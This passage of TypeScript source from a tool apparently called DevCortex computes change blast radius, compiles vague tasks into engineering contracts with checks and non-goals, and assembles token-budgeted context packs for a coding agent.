continue;\n if (route.kind === 'api') {\n apiRoutePaths.push(route.routePath);\n mappedApiFiles.add(route.file);\n } else {\n pageRoutePaths.push(route.routePath);\n }\n }\n // api-kind files with no route mapping (e.g. Express controllers in a\n // non-Next.js repo) still surface as affected api — by file path.\n const apiSurfaces = [...apiRoutePaths];\n for (const node of radiusNodes) {\n if (node.kind === 'api' && !mappedApiFiles.has(node.path)) apiSurfaces.push(node.path);\n }\n const affectedRoutes = sortedUnique(pageRoutePaths);\n const affectedApi = sortedUnique(apiSurfaces);\n\n const affectedEnvVars = sortedUnique(\n envVars.filter((e) => e.usedIn.some((u) => radius.has(u))).map((e) => e.name),\n );\n\n // A changed file matching a protected glob escalates severity regardless of\n // whether it is even in the graph.\n const protectedChanged = [...normalizedChanged].some((p) => isProtected(p, config));\n\n // 5. Severity = max affected-file risk, escalated for protected changes.\n let severity: RiskLevel = 'low';\n for (const node of radiusNodes) severity = maxRisk(severity, nodeRisk(node));\n if (protectedChanged) severity = maxRisk(severity, 'high');\n\n // 6. Required checks, derived strictly from affected surfaces.\n const checks: string[] = [];\n if (affectsAuth) checks.push('auth regression test');\n if (affectsBilling) {\n checks.push('webhook signature check');\n checks.push('billing flow regression test');\n }\n if (affectedApi.length > 0) checks.push('API contract test for affected endpoints');\n if (affectedRoutes.length > 0) checks.push('route smoke test for affected routes');\n if (affectedTables.length > 0) {\n checks.push('database migration safety check (dry-run + rollback)');\n }\n if (affectedEnvVars.length > 0) checks.push('verify affected env vars are documented and set');\n if (affectedComponents.length > 0) {\n checks.push('component/UI verification for affected components');\n }\n if (fragileAreas.length > 0) checks.push('manual review of fragile areas');\n if (affectedTests.length > 0) checks.push('run affected tests');\n if (protectedChanged) checks.push('extra review: protected path changed');\n const requiredChecks = [...new Set(checks)];\n\n return {\n changedFiles: sortedUnique([...normalizedChanged]),\n affectedRoutes,\n affectedComponents,\n affectedApi,\n affectedTables,\n affectsAuth,\n affectsBilling,\n affectedEnvVars,\n affectedTests,\n fragileAreas,\n requiredChecks,\n severity,\n };\n}\n","/**\n * `compileIntent` — turn a vague free-text task into a precise, deterministic\n * engineering contract (`IntentContract`).\n *\n * It is tokenless: every field is derived from the project graph, the matched\n * stack packs, the gate configuration, and the deterministic risk + blast-radius\n * engines. Nothing is invented silently — wherever the compiler has to guess\n * (e.g. it infers the likely-affected files from the task wording), it records\n * the guess explicitly in `assumptions`.\n *\n * Pipeline:\n * 1. classifyRisk(task, graph, config) → taskType + riskLevel + signals\n * 2. relevantFiles(graph, task) → the files the task is \"about\"\n * 3. analyzeBlastRadius(graph, those, config) → what could break if they change\n * 4. matched stack packs + gate config → acceptance + definition-of-done\n * 5. risk/taskType → staged plan + verification plan\n */\nimport type {\n CortexConfig,\n FileKind,\n FileNode,\n IntentContract,\n ProjectGraph,\n RiskLevel,\n Rule,\n StackPack,\n TaskType,\n} from '../domain/index';\nimport { DevCortexError } from '../domain/index';\nimport { relevantFiles } from '../graph';\nimport { classifyRisk, depthForRisk } from '../policy';\nimport { analyzeBlastRadius } from '../blast-radius';\n\nconst RISK_RANK: Record<RiskLevel, number> = { low: 0, medium: 1, high: 2, critical: 3 };\n\n/** True when `a` is at least as severe as `b`. */\nfunction isAtLeast(a: RiskLevel, b: RiskLevel): boolean {\n return RISK_RANK[a] >= RISK_RANK[b];\n}\n\n/** Number of relevant files used as the proxy \"change set\" for blast radius. */\nconst MAX_CANDIDATE_FILES = 12;\n\nfunction dedupe(items: string[]): string[] {\n const seen = new Set<string>();\n const out: string[] = [];\n for (const item of items) {\n const trimmed = item.trim();\n if (trimmed.length === 0 || seen.has(trimmed)) continue;\n seen.add(trimmed);\n out.push(trimmed);\n }\n return out;\n}\n\n/** Package-manager-aware way to invoke an npm script. */\nfunction scriptInvocation(pm: string, script: string): string {\n if (pm === 'pnpm' || pm === 'yarn' || pm === 'bun') return `${pm} ${script}`;\n return `npm run ${script}`;\n}\n\n/**\n * Resolve the command for a single gate, preferring an explicit override in\n * `config.commands`, then a matching npm script, then a sensible generic.\n */\nfunction gateCommand(\n gate: 'typecheck' | 'lint' | 'build' | 'test',\n config: CortexConfig,\n graph: ProjectGraph,\n generic: string,\n): string {\n const override = config.commands[gate];\n if (typeof override === 'string' && override.trim().length > 0) return override.trim();\n const script = graph.scripts[gate];\n if (typeof script === 'string' && script.trim().length > 0) {\n return scriptInvocation(graph.stack.packageManager, gate);\n }\n return generic;\n}\n\n/** A short, human-readable goal line derived from the raw task. */\nfunction buildGoal(task: string): string {\n const normalized = task.trim().replace(/\\s+/g, ' ');\n return normalized.length > 0 ? normalized : 'Unspecified task';\n}\n\n/** A rule applies when it has no `appliesTo` filter or it overlaps the touched kinds. */\nfunction ruleApplies(rule: Rule, touchedKinds: ReadonlySet<FileKind>): boolean {\n if (rule.appliesTo === undefined || rule.appliesTo.length === 0) return true;\n return rule.appliesTo.some((kind) => touchedKinds.has(kind));\n}\n\n/**\n * Build the {@link IntentContract} for a task.\n *\n * @throws DevCortexError('INTERNAL') when `task` is not a non-empty string, or\n * when `graph`/`packs`/`config` are structurally invalid.\n */\nexport function compileIntent(\n task: string,\n graph: ProjectGraph,\n packs: StackPack[],\n config: CortexConfig,\n): IntentContract {\n if (typeof task !== 'string' || task.trim().length === 0) {\n throw new DevCortexError('INTERNAL', 'compileIntent: task must be a non-empty string');\n }\n if (graph === null || typeof graph !== 'object' || !Array.isArray(graph.files)) {\n throw new DevCortexError('INTERNAL', 'compileIntent: graph must be a ProjectGraph');\n }\n if (!Array.isArray(packs)) {\n throw new DevCortexError('INTERNAL', 'compileIntent: packs must be a StackPack[]');\n }\n if (config === null || typeof config !== 'object' || config.risk === undefined) {\n throw new DevCortexError('INTERNAL', 'compileIntent: config must be a CortexConfig');\n }\n\n // 1. Risk + task type (deterministic keyword + affected-file analysis).\n const classification = classifyRisk(task, graph, config);\n const { taskType, riskLevel } = classification;\n const recommendedDepth = depthForRisk(riskLevel);\n const highRisk = isAtLeast(riskLevel, 'high');\n\n // 2. Files the task is plausibly about → proxy change set for the blast radius.\n const ranked = relevantFiles(graph, task);\n const candidateFiles: FileNode[] = ranked.slice(0, MAX_CANDIDATE_FILES);\n const candidatePaths = candidateFiles.map((f) => f.path);\n const touchedKinds = new Set<FileKind>(candidateFiles.map((f) => f.kind));\n\n // 3. Blast radius over the proxy change set.\n const blast = analyzeBlastRadius(graph, candidatePaths, config);\n\n const assumptions: string[] = [];\n\n // --- affected areas (graph + blast radius) --------------------------------\n const affectedAreas: string[] = [];\n for (const path of candidatePaths) affectedAreas.push(path);\n if (blast.affectsAuth) affectedAreas.push('Authentication & session handling');\n if (blast.affectsBilling) affectedAreas.push('Billing & payment flows');\n for (const route of blast.affectedRoutes) affectedAreas.push(`route ${route}`);\n for (const api of blast.affectedApi) affectedAreas.push(`api ${api}`);\n for (const table of blast.affectedTables) affectedAreas.push(`database surface ${table}`);\n for (const env of blast.affectedEnvVars) affectedAreas.push(`env var ${env}`);\n if (affectedAreas.length === 0) {\n affectedAreas.push(`${taskType} surface (no existing files matched the task wording)`);\n }\n\n // --- non-goals (surfaces present in the repo but NOT in the blast radius) --\n const hasKind = (kind: FileKind): boolean => graph.files.some((f) => f.kind === kind);\n const nonGoals: string[] = [];\n if (hasKind('auth') && !blast.affectsAuth) {\n nonGoals.push('Do not modify authentication, sessions, or access control.');\n }\n if (hasKind('billing') && !blast.affectsBilling) {\n nonGoals.push('Do not modify billing or payment flows.');\n }\n if ((hasKind('migration') || hasKind('schema')) && blast.affectedTables.length === 0) {\n nonGoals.push('Do not alter database migrations or schema.');\n }\n if (hasKind('middleware') && !blast.fragileAreas.some((p) => p.includes('middleware'))) {\n nonGoals.push('Do not change global middleware behavior.');\n }\n nonGoals.push('Do not expand scope beyond the affected areas listed in this contract.');\n\n // --- regression risks (from the blast radius) -----------------------------\n const regressionRisks: string[] = [];\n if (blast.affectsAuth) regressionRisks.push('Auth/session regression across protected routes.');\n if (blast.affectsBilling) {\n regressionRisks.push('Billing regression: checkout, webhooks, or subscription state.');\n }\n if (blast.affectedTables.length > 0) {\n regressionRisks.push('Schema/data migration risk on the affected database surfaces.');\n }\n if (blast.affectedRoutes.length > 0 || blast.affectedApi.length > 0) {\n regressionRisks.push('Behavior change on dependent routes/endpoints.');\n }\n for (const fragile of blast.fragileAreas) {\n regressionRisks.push(`Fragile area in the blast radius: ${fragile}.`);\n }\n if (regressionRisks.length === 0) {\n regressionRisks.push('No high-impact surfaces detected in the blast radius.');\n }\n\n // --- required context -----------------------------------------------------\n const requiredContext: string[] = [];\n requiredContext.push(`Compile the context pack at \"${recommendedDepth}\" depth before editing.`);\n for (const path of candidatePaths) requiredContext.push(`Read: ${path}`);\n for (const pack of packs) requiredContext.push(`Apply stack guidance: ${pack.name}.`);\n if (candidatePaths.length === 0) {\n requiredContext.push('No existing files matched; gather context for a new addition.');\n }\n\n // --- acceptance criteria (matched packs + gate config + blast radius) ------\n const acceptanceCriteria: string[] = [];\n for (const pack of packs) {\n for (const rule of pack.bestPractices) {\n if (ruleApplies(rule, touchedKinds) && isAtLeast(rule.severity, 'high')) {\n acceptanceCriteria.push(`Follows \"${rule.title}\".`);\n }\n }\n }\n for (const check of blast.requiredChecks) acceptanceCriteria.push(`Verified: ${check}.`);\n if (config.gates.typecheck) acceptanceCriteria.push('Typecheck passes with zero errors.');\n if (config.gates.lint) acceptanceCriteria.push('Lint passes with zero errors.');\n if (config.gates.build) acceptanceCriteria.push('Production build completes successfully.');\n if (config.gates.test) acceptanceCriteria.push('All tests pass, including new coverage.');\n if (acceptanceCriteria.length === 0) {\n acceptanceCriteria.push('Implements the stated goal without regressing existing behavior.');\n }\n\n // --- implementation stages (risk + task-type tailored) --------------------\n const implementationStages: string[] = [\n 'Review the required context (relevant files, prior features, decisions, known failures).',\n ];\n if (highRisk) {\n implementationStages.push('Write a short plan and add failing tests for the new behavior first.');\n }\n implementationStages.push(taskStage(taskType));\n implementationStages.push('Add or update tests covering the new behavior and the listed regression risks.');\n implementationStages.push('Run the quality gates and record evidence for each verified claim.');\n if (highRisk) {\n implementationStages.push('Re-check auth/billing/migration surfaces in the blast radius before shipping.');\n }\n\n // --- verification plan (blast-radius checks + gate commands) --------------\n const verificationPlan: string[] = [];\n for (const check of blast.requiredChecks) verificationPlan.push(check);\n if (config.gates.typecheck) {\n verificationPlan.push(`Run ${gateCommand('typecheck', config, graph, 'tsc --noEmit')}.`);\n }\n if (config.gates.lint) {\n verificationPlan.push(`Run ${gateCommand('lint', config, graph, 'eslint .')}.`);\n }\n if (config.gates.build) {\n verificationPlan.push(`Run ${gateCommand('build', config, graph, 'the production build')}.`);\n }\n if (config.gates.test) {\n verificationPlan.push(`Run ${gateCommand('test', config, graph, 'the test suite')}.`);\n }\n if (config.gates.blockUnprovenDone) {\n verificationPlan.push('Record an EvidenceItem per claim; block \"done\" on any unproven required check.');\n }\n if (verificationPlan.length === 0) {\n verificationPlan.push('Manually verify the goal is met and nothing else changed.');\n }\n\n // --- definition of done (gate config + matched packs) ---------------------\n const definitionOfDone: string[] = [];\n if (config.gates.typecheck) {\n definitionOfDone.push(`\\`${gateCommand('typecheck', config, graph, 'tsc --noEmit')}\\` passes.`);\n }\n if (config.gates.lint) {\n definitionOfDone.push(`\\`${gateCommand('lint', config, graph, 'eslint .')}\\` passes.`);\n }\n if (config.gates.build) {\n definitionOfDone.push(`\\`${gateCommand('build', config, graph, 'build')}\\` succeeds.`);\n }\n if (config.gates.test) {\n definitionOfDone.push(`\\`${gateCommand('test', config, graph, 'test')}\\` is green.`);\n }\n if (packs.length > 0) definitionOfDone.push('All applicable stack-pack quality gates are satisfied.');\n definitionOfDone.push('Every acceptance criterion above is met.');\n if (config.gates.blockUnprovenDone) {\n definitionOfDone.push('Evidence is recorded for each required check (unproven \"done\" is blocked).');\n }\n\n // --- assumptions (record guesses explicitly) ------------------------------\n if (candidatePaths.length === 0) {\n assumptions.push('No existing files clearly match the task; treated as a new addition.');\n }\n assumptions.push(\n 'Affected areas and regression risks were inferred from files matching the task wording; the actual change set may differ.',\n );\n if (packs.length === 0) {\n assumptions.push(\n `No stack pack matched framework \"${graph.stack.framework}\"; using generic engineering guidance only.`,\n );\n }\n if (classification.signals.includes('no risk keywords detected')) {\n assumptions.push('Task wording carried no explicit risk keywords; risk derives from affected files only.');\n }\n const floor = config.risk.floors[taskType];\n if (floor !== undefined && isAtLeast(riskLevel, floor)) {\n assumptions.push(`Risk floor for task type \"${taskType}\" (${floor}) was considered.`);\n }\n\n return {\n goal: buildGoal(task),\n nonGoals: dedupe(nonGoals),\n taskType,\n riskLevel,\n affectedAreas: dedupe(affectedAreas),\n requiredContext: dedupe(requiredContext),\n acceptanceCriteria: dedupe(acceptanceCriteria),\n regressionRisks: dedupe(regressionRisks),\n implementationStages: dedupe(implementationStages),\n verificationPlan: dedupe(verificationPlan),\n definitionOfDone: dedupe(definitionOfDone),\n assumptions: dedupe(assumptions),\n };\n}\n\n/** The single task-type-specific implementation stage. */\nfunction taskStage(taskType: TaskType): string {\n switch (taskType) {\n case 'billing':\n return 'Implement Stripe flows server-side; verify webhooks against the raw body and dedupe on event.id.';\n case 'auth':\n return 'Implement auth server-side; verify identity on the server and never trust client-supplied state.';\n case 'database':\n return 'Write a reversible migration with a tested down path; never edit an already-applied migration.';\n case 'security':\n return 'Implement the hardening with validated inputs and least-privilege access; add a regression test.';\n case 'api':\n return 'Implement the endpoint with input validation and an ownership/authorization check.';\n case 'ui':\n return 'Implement the component, keeping secrets and data fetching on the server.';\n case 'devops':\n return 'Apply the infrastructure change behind a reversible, reviewed step; verify against a non-prod target first.';\n case 'release':\n return 'Cut the release behind a passing gate; tag, changelog, and verify the published artifact.';\n case 'dependency':\n return 'Update the dependency, regenerate the lockfile, and run the full gate to catch breaking changes.';\n case 'bugfix':\n return 'Reproduce the bug with a failing test, then implement the minimal fix in the affected files.';\n case 'refactor':\n return 'Refactor behind the existing tests; keep behavior identical and verify no public surface changed.';\n case 'test':\n return 'Add the missing tests against real behavior; avoid mocking away the logic under test.';\n case 'docs':\n return 'Update the documentation to match the current behavior; verify examples actually run.';\n case 'feature':\n return 'Implement the feature in the affected files behind validated inputs and tests.';\n case 'chore':\n return 'Apply the change in the affected files and verify nothing else moved.';\n default: {\n const exhaustive: never = taskType;\n throw new DevCortexError('INTERNAL', `Unhandled task type: ${String(exhaustive)}`);\n }\n }\n}\n","/**\n * `compileContext` — assemble the minimum-complete, injectable context pack for\n * an already-compiled {@link IntentContract}.\n *\n * Sources (all local, tokenless):\n * - relevantFiles(graph, intent.goal) → the files to read\n * - the matched stack packs (matchPacks(stack)) → patterns / constraints /\n * forbidden approaches\n * - the feature ledger → related prior features\n * - the memory ledger (type risk | pattern) → known failure modes\n * - the decision ledger (accepted) → relevant prior decisions\n *\n * The structured fields carry the full curated data; `markdown` is the compact\n * block injected into a host agent and is the artifact bound by the depth token\n * budget — tiny ≤ 800, standard ≤ 2500, deep ≤ 6000 tokens (tokenEstimate ≈\n * chars / 4). Lower depths render fewer sections and fewer items per section; a\n * final clamp guarantees the budget is never exceeded.\n */\nimport type {\n ContextDepth,\n ContextPack,\n DecisionRecord,\n FeatureRecord,\n FileNode,\n IntentContract,\n MemoryItem,\n ProjectGraph,\n Rule,\n StackPack,\n} from '../domain/index';\nimport { CONTEXT_DEPTHS, DevCortexError } from '../domain/index';\nimport { relevantFiles } from '../graph';\nimport { depthForRisk } from '../policy';\nimport { matchPacks } from '../stackpacks';\nimport type { DecisionLedger, FeatureLedger, MemoryLedger } from '../ledgers';\n\n/** The three ledgers `compileContext` reads from. */\nexport interface ContextLedgers {\n memory: MemoryLedger;\n feature: FeatureLedger;\n decision: DecisionLedger;\n}\n\n/** Per-depth markdown token ceiling (tokenEstimate ≈ chars / 4). */\nconst TOKEN_BUDGET: Record<ContextDepth, number> = { tiny: 800, standard: 2500, deep: 6000 };\n\n/** Per-depth caps on how many items each markdown section may render. */\ninterface DepthLimits {\n files: number;\n patterns: number;\n constraints: number;\n forbidden: number;\n knownFailures: number;\n features: number;\n decisions: number;\n tests: number;\n /** Render the prior-decisions section at all. */\n decisionsSection: boolean;\n /** Include the short \"why\" detail on forbidden approaches. */\n forbiddenDetail: boolean;\n}\n\nconst LIMITS: Record<ContextDepth, DepthLimits> = {\n tiny: {\n files: 5,\n patterns: 0,\n constraints: 2,\n forbidden: 2,\n knownFailures: 2,\n features: 2,\n decisions: 0,\n tests: 3,\n decisionsSection: false,\n forbiddenDetail: false,\n },\n standard: {\n files: 10,\n patterns: 5,\n constraints: 5,\n forbidden: 5,\n knownFailures: 5,\n features: 5,\n decisions: 3,\n tests: 6,\n decisionsSection: true,\n forbiddenDetail: true,\n },\n deep: {\n files: 25,\n patterns: 20,\n constraints: 20,\n forbidden: 20,\n knownFailures: 20,\n features: 20,\n decisions: 20,\n tests: 20,\n decisionsSection: true,\n forbiddenDetail: true,\n },\n};\n\nconst FIELD_CAP = 30;\nconst STOPWORDS = new Set([\n 'the', 'a', 'an', 'and', 'or', 'to', 'for', 'with', 'add', 'new', 'use', 'into', 'from', 'this',\n 'that', 'our', 'your', 'support', 'implement', 'build', 'create', 'feature', 'change',\n]);\n\nfunction dedupe(items: string[]): string[] {\n const seen = new Set<string>();\n const out: string[] = [];\n for (const item of items) {\n const trimmed = item.trim();\n if (trimmed.length === 0 || seen.has(trimmed)) continue;\n seen.add(trimmed);\n out.push(trimmed);\n }\n return out;\n}\n\nfunction tokenize(text: string): Set<string> {\n const tokens = new Set<string>();\n for (const raw of text.toLowerCase().split(/[^a-z0-9]+/)) {\n if (raw.length >= 3 && !STOPWORDS.has(raw)) tokens.add(raw);\n }\n return tokens;\n}\n\n/** First sentence (or a hard char cap) of a longer detail string. */\nfunction firstSentence(detail: string, max = 160): string {\n const trimmed = detail.trim().replace(/\\s+/g, ' ');\n const dot = trimmed.indexOf('. ');\n const sentence = dot > 0 ? trimmed.slice(0, dot + 1) : trimmed;\n return sentence.length > max ? `${sentence.slice(0, max - 1).trimEnd()}…` : sentence;\n}\n\nfunction scriptInvocation(pm: string, script: string): string {\n if (pm === 'pnpm' || pm === 'yarn' || pm === 'bun') return `${pm} ${script}`;\n return `npm run ${script}`;\n}\n\n/** Clamp markdown so `ceil(length / 4) <= maxTokens`, cutting at a line break. */\nfunction clampToBudget(markdown: string, maxTokens: number): string {\n const maxChars = maxTokens * 4;\n if (markdown.length <= maxChars) return markdown;\n const note = '\\n\\n_(context truncated to fit the depth budget)_';\n const room = Math.max(0, maxChars - note.length);\n const cut = markdown.slice(0, room);\n const lastBreak = cut.lastIndexOf('\\n');\n const body = lastBreak > 0 ? cut.slice(0, lastBreak) : cut;\n return `${body}${note}`;\n}\n\n/**\n * Assemble the {@link ContextPack} for an intent.\n *\n * @throws DevCortexError('INTERNAL') when `intent`, `graph`, or `ledgers` are\n * structurally invalid. A `LedgerError` from a corrupt ledger entry\n * propagates unchanged (the caller decides whether to degrade to passive).\n */\nexport async function compileContext(\n intent: IntentContract,\n graph: ProjectGraph,\n ledgers: ContextLedgers,\n depth: ContextDepth,\n): Promise<ContextPack> {\n if (intent === null || typeof intent !== 'object' || typeof intent.goal !== 'string') {\n throw new DevCortexError('INTERNAL', 'compileContext: intent must be an IntentContract');\n }\n if (graph === null || typeof graph !== 'object' || !Array.isArray(graph.files)) {\n throw new DevCortexError('INTERNAL', 'compileContext: graph must be a ProjectGraph');\n }\n if (\n ledgers === null ||\n typeof ledgers !== 'object' ||\n ledgers.memory === undefined ||\n ledgers.feature === undefined ||\n ledgers.decision === undefined\n ) {\n throw new DevCortexError('INTERNAL', 'compileContext: ledgers must include memory, feature, decision');\n }\n\n // An invalid depth degrades to the depth recommended for the intent's risk.\n const effectiveDepth: ContextDepth = CONTEXT_DEPTHS.includes(depth)\n ? depth\n : depthForRisk(intent.riskLevel);\n const limits = LIMITS[effectiveDepth];\n\n // --- relevant files (graph) ----------------------------------------------\n const rankedFiles: FileNode[] = relevantFiles(graph, intent.goal);\n const relevantPaths = rankedFiles.map((f) => f.path);\n const relevantSet = new Set(relevantPaths);\n // Token-match against the goal text only; file paths carry generic tokens\n // (\"page\", \"lib\", \"tsx\") that would over-match unrelated ledger entries.\n const goalTokens = tokenize(intent.goal);\n\n // --- stack packs (patterns / constraints / forbidden approaches) ----------\n const packs: StackPack[] = matchPacks(graph.stack);\n const patternsField: string[] = [];\n const constraintsField: string[] = [];\n const forbiddenField: string[] = [];\n for (const pack of packs) {\n for (const rule of pack.bestPractices) patternsField.push(rule.title);\n for (const note of pack.securityNotes) constraintsField.push(note);\n for (const rule of pack.antiPatterns) {\n forbiddenField.push(`${rule.title}: ${firstSentence(rule.detail)}`);\n }\n }\n\n // --- related features (feature ledger) ------------------------------------\n const features = await ledgers.feature.list();\n const relatedFeatures: FeatureRecord[] = features.filter((f) =>\n isFeatureRelated(f, relevantSet, goalTokens),\n );\n const relatedFeaturesField = relatedFeatures.map((f) => `${f.feature} (${f.status})`);\n\n // --- known failures (memory ledger: type risk | pattern) ------------------\n const memories = await ledgers.memory.list(\n (m: MemoryItem) => m.type === 'risk' || m.type === 'pattern',\n );\n memories.sort((a, b) => (a.title < b.title ? -1 : a.title > b.title ? 1 : 0));\n const knownFailuresField = memories.map((m) => `${m.title}: ${m.summary}`);\n\n // --- prior decisions (decision ledger: accepted, relevant) ----------------\n const decisions = await ledgers.decision.list((d: DecisionRecord) => d.status === 'accepted');\n const relatedDecisions: DecisionRecord[] = decisions.filter((d) =>\n isDecisionRelated(d, relevantSet, goalTokens),\n );\n\n // --- tests to run ---------------------------------------------------------\n const testFiles = rankedFiles.filter((f) => f.kind === 'test').map((f) => `run ${f.path}`);\n const packTestCommands = packs.flatMap((p) => p.testCommands);\n const scriptCommands: string[] = [];\n for (const key of ['typecheck', 'lint', 'build', 'test', 'e2e'] as const) {\n const script = graph.scripts[key];\n if (typeof script === 'string' && script.trim().length > 0) {\n scriptCommands.push(scriptInvocation(graph.stack.packageManager, key));\n }\n }\n const testsToRunField = dedupe([...testFiles, ...scriptCommands, ...packTestCommands]).slice(\n 0,\n FIELD_CAP,\n );\n\n // --- render the budget-bound markdown -------------------------------------\n const markdown = clampToBudget(\n renderMarkdown({\n intent,\n depth: effectiveDepth,\n limits,\n relevantPaths,\n patterns: dedupe(patternsField),\n constraints: dedupe(constraintsField),\n forbidden: packs.flatMap((p) => p.antiPatterns),\n knownFailures: memories,\n relatedFeatures,\n relatedDecisions,\n tests: testsToRunField,\n }),\n TOKEN_BUDGET[effectiveDepth],\n );\n\n return {\n depth: effectiveDepth,\n tokenEstimate: Math.ceil(markdown.length / 4),\n relevantFiles: relevantPaths.slice(0, FIELD_CAP),\n relatedFeatures: dedupe(relatedFeaturesField),\n patterns: dedupe(patternsField),\n constraints: dedupe(constraintsField),\n knownFailures: dedupe(knownFailuresField),\n forbiddenApproaches: dedupe(forbiddenField),\n testsToRun: testsToRunField,\n markdown,\n };\n}\n\nfunction isFeatureRelated(\n feature: FeatureRecord,\n relevantSet: ReadonlySet<string>,\n goalTokens: ReadonlySet<string>,\n): boolean {\n const surfaces = [\n ...feature.routes,\n ...feature.components,\n ...feature.apiEndpoints,\n ...feature.databaseTables,\n ...feature.envVars,\n ];\n if (surfaces.some((s) => relevantSet.has(s))) return true;\n for (const token of tokenize(`${feature.feature} ${feature.purpose}`)) {\n if (goalTokens.has(token)) return true;\n }\n return false;\n}\n\nfunction isDecisionRelated(\n decision: DecisionRecord,\n relevantSet: ReadonlySet<string>,\n goalTokens: ReadonlySet<string>,\n): boolean {\n if (decision.affectedFiles.some((f) => relevantSet.has(f))) return true;\n for (const token of tokenize(`${decision.decision} ${decision.context}`)) {\n if (goalTokens.has(token)) return true;\n }\n return false;\n}\n\ninterface RenderInput {\n intent: IntentContract;\n depth: ContextDepth;\n limits: DepthLimits;\n relevantPaths: string[];\n patterns: string[];\n constraints: string[];\n forbidden: Rule[];\n knownFailures: MemoryItem[];\n relatedFeatures: FeatureRecord[];\n relatedDecisions: DecisionRecord[];\n tests: string[];\n}\n\nfunction renderMarkdown(input: RenderInput): string {\n const { intent, depth, limits } = input;\n const sections: string[] = [];\n\n sections.push(\n [\n `## DevCortex context — ${intent.taskType} · ${intent.riskLevel} risk · ${depth}`,\n `**Goal:** ${intent.goal}`,\n ].join('\\n'),\n );\n\n const files = input.relevantPaths.slice(0, limits.files);\n if (files.length > 0) {\n sections.push(['### Relevant files', ...files.map((p) => `- ${p}`)].join('\\n'));\n }\n\n // Forbidden approaches are high-value even at tiny depth.\n const forbidden = input.forbidden.slice(0, limits.forbidden);\n if (forbidden.length > 0) {\n const lines = forbidden.map((rule) =>\n limits.forbiddenDetail ? `- ${rule.title} — ${firstSentence(rule.detail)}` : `- ${rule.title}`,\n );\n sections.push(['### Do NOT', ...lines].join('\\n'));\n }\n\n const constraints = input.constraints.slice(0, limits.constraints);\n if (constraints.length > 0) {\n sections.push(['### Constraints', ...constraints.map((c) => `- ${c}`)].join('\\n'));\n }\n\n const patterns = input.patterns.slice(0, limits.patterns);\n if (limits.patterns > 0 && patterns.length > 0) {\n sections.push(['### Patterns to follow', ...patterns.map((p) => `- ${p}`)].join('\\n'));\n }\n\n const failures = input.knownFailures.slice(0, limits.knownFailures);\n if (failures.length > 0) {\n sections.push(\n ['### Known failure modes', ...failures.map((m) => `- ${m.title}: ${m.summary}`)].join('\\n'),\n );\n }\n\n const relatedFeatures = input.relatedFeatures.slice(0, limits.features);\n if (relatedFeatures.length > 0) {\n sections.push(\n [\n '### Related features',\n ...relatedFeatures.map((f) => `- ${f.feature} (${f.status})`),\n ].join('\\n'),\n );\n }\n\n if (limits.decisionsSection) {\n const decisions = input.relatedDecisions.slice(0, limits.decisions);\n if (decisions.length > 0) {\n sections.push(\n [\n '### Prior decisions',\n ...decisions.map((d) => `- ${d.decision} → chose ${d.chosenOption}`),\n ].join('\\n'),\n );\n }\n }\n\n const tests = input.tests.slice(0, limits.tests);\n if (tests.length > 0) {\n sections.push(['### Tests to run', ...tests.map((t) => `- ${t}`)].join('\\n'));\n }\n\n return sections.join('\\n\\n');\n}\n","/**\n * Claim verifiers — turn assertions about a repository into structured\n * `EvidenceItem`s with a definite status (verified | partial | refuted |\n * unverified). These are the anti-hallucination primitives: a negative result\n * is *evidence*, not an error, so the verifiers NEVER throw on a \"false\" claim.\n * They throw a `DevCortexError` (`EvidenceError`) only on a genuine internal\n * failure — an unreadable file for a non-ENOENT reason, a process that cannot be\n * spawned, or malformed input that makes the question unanswerable.\n */\n\nimport { spawn } from 'node:child_process';\nimport type { ChildProcess } from 'node:child_process';\nimport { readFile, stat } from 'node:fs/promises';\nimport { builtinModules } from 'node:module';\nimport * as path from 'node:path';\nimport { randomUUID } from 'node:crypto';\n\nimport { init, parse } from 'es-module-lexer';\n\nimport { EvidenceError } from '../domain/index';\nimport type {\n CortexConfig,\n EvidenceItem,\n EvidenceKind,\n EvidenceStatus,\n ProjectGraph,\n} from '../domain/index';\n\n// --- options ----------------------------------------------------------------\n\nexport interface CommandOptions {\n /** working directory the command runs in */\n cwd: string;\n /** wall-clock kill deadline in milliseconds (default 120_000) */\n timeoutMs?: number;\n}\n\nconst DEFAULT_COMMAND_TIMEOUT_MS = 120_000;\nconst BUILD_TIMEOUT_MS = 600_000;\n/** Ceiling for a caller-supplied command timeout; see {@link verifyCommandResult}. */\nconst MAX_COMMAND_TIMEOUT_MS = 600_000;\nconst MAX_OUTPUT_CHARS = 4_000;\nconst CAPTURE_HARD_CAP = 1_000_000;\n\nconst CANDIDATE_EXTS = [\n '.ts',\n '.tsx',\n '.mts',\n '.cts',\n '.js',\n '.jsx',\n '.mjs',\n '.cjs',\n '.json',\n '.node',\n];\n\n/** TS ESM authors import `./x.js` while the file on disk is `./x.ts`. */\nconst JS_EXT_REWRITES: Record<string, string[]> = {\n '.js': ['.ts', '.tsx'],\n '.jsx': ['.tsx', '.jsx'],\n '.mjs': ['.mts'],\n '.cjs': ['.cts'],\n};\n\nconst NODE_BUILTINS = new Set(builtinModules);\n\nconst NAMED_EXPORT =\n /export\\s+(?:default\\s+)?(?:async\\s+)?(?:function\\*?|class|const|let|var|interface|type|enum)\\s+([A-Za-z_$][\\w$]*)/g;\nconst EXPORT_BLOCK = /export\\s*\\{([^}]*)\\}/g;\n\n// --- shared helpers ---------------------------------------------------------\n\nfunction assertNonEmpty(value: string, name: string): void {\n if (typeof value !== 'string' || value.length === 0) {\n throw new EvidenceError(`${name} must be a non-empty string`);\n }\n}\n\nfunction isErrnoException(err: unknown): err is NodeJS.ErrnoException {\n return err instanceof Error && 'code' in err;\n}\n\nfunction isRecord(value: unknown): value is Record<string, unknown> {\n return value !== null && typeof value === 'object' && !Array.isArray(value);\n}\n\nfunction escapeRegExp(input: string): string {\n return input.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$&');\n}\n\ninterface EvidenceFields {\n claim: string;\n status: EvidenceStatus;\n kind: EvidenceKind;\n detail: string;\n command?: string;\n exitCode?: number;\n output?: string;\n}\n\nfunction makeEvidence(fields: EvidenceFields): EvidenceItem {\n const item: EvidenceItem = {\n id: randomUUID(),\n claim: fields.claim,\n status: fields.status,\n kind: fields.kind,\n detail: fields.detail,\n createdAt: new Date().toISOString(),\n };\n if (fields.command !== undefined) item.command = fields.command;\n if (fields.exitCode !== undefined) item.exitCode = fields.exitCode;\n if (fields.output !== undefined) item.output = fields.output;\n return item;\n}\n\nfunction truncateOutput(raw: string): string {\n if (raw.length <= MAX_OUTPUT_CHARS) return raw;\n const head = raw.slice(0, MAX_OUTPUT_CHARS);\n return `${head}\\n…[truncated ${raw.length - MAX_OUTPUT_CHARS} chars]`;\n}\n\nasync function 